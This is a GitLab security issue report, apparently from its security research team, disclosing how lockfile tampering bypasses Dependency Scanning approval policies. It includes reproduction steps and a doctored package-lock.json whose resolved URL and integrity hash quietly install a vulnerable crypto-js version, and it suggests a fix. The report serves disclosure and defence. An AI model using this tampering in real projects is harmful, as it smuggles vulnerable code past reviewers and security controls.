Security Policy Bypass via Lockfile Tampering
Summary
Security approvals for Dependency Scanning findings (and probably also License Scanning) can be bypassed via lockfile tampering (see this slide deck for an explanation of lockfile tampering and these examples).
This allows users with the role developer
who otherwise could not modify the approval policy to bypass the policy. It also allows maintainer
+ to bypass the policy without triggering an audit event caused by disabling the policy.
Steps to reproduce
- Create a project
- Configure dependency scanning
- Configure security approvals for Dependency Scanning https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html#scan-result-policy-editor
- Open an MR with a specially crafted lockfile to bypass the policy. Such a lockfile can be created for example with the following commands:
$ npm install crypto-js@4.2.0 // dependency has no vulnerabilities
This produces the following lockfile:
// package-lock.json
{
"name": "security-approvals-bypass",
"version": "1.0.0",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "security-approvals-bypass",
"version": "1.0.0",
"license": "ISC",
"dependencies": {
"crypto-js": "^4.2.0"
}
},
"node_modules/crypto-js": {
"version": "4.2.0",
"resolved": "https://registry.npmjs.org/crypto-js/-/crypto-js-4.2.0.tgz",
"integrity": "sha512-KALDyEYgpY+Rlob/iriUtjV6d5Eq+Y191A5g4UqLAi8CyGP9N1+FdVbkc1SxKc2r4YAYqG8JzO2KGL+AizD70Q=="
}
}
}
Replace resolved
and integrity
with an arbitrary dependency and corresponding integrity hash. The following example replaces it with crypto-js@4.1.1
, which has a critical vulnerability and violates the policy:
{
"node_modules/crypto-js": {
"version": "4.2.0",
"resolved": "https://registry.npmjs.org/crypto-js/-/crypto-js-4.1.1.tgz",
"integrity": "sha512-o2JlM7ydqd3Qk9CA0L4NL6mTzU2sdx96a+oOfPu8Mkl/PK51vSyoi8/rQ8NknZtk44vq15lmhAj9CIAGwgeWKw=="
}
}
Open an MR containing the lockfile. Note that security approvals are not required to merge the MR although the vulnerable crypto-js@4.1.1
is installed.
Example Project
- Security Policy definition: https://gitlab.com/gitlab-com/gl-security/security-research/security-approvals-bypass-security-policy-project
- Project in which the policy is bypassed: https://gitlab.com/gitlab-com/gl-security/security-research/security-approvals-bypass
- MR in which the policy is enforced as expected: https://gitlab.com/gitlab-com/gl-security/security-research/security-approvals-bypass/-/merge_requests/1
- MR in which the policy is bypassed: https://gitlab.com/gitlab-com/gl-security/security-research/security-approvals-bypass/-/merge_requests/2
What is the current bug behavior?
Security approvals can be bypassed.
What is the expected correct behavior?
Security approvals cannot be bypassed. The logic correctly identifies which dependency is being added in the MR.
Possible fixes
The lockfile parser could validate the integrity of the lockfile.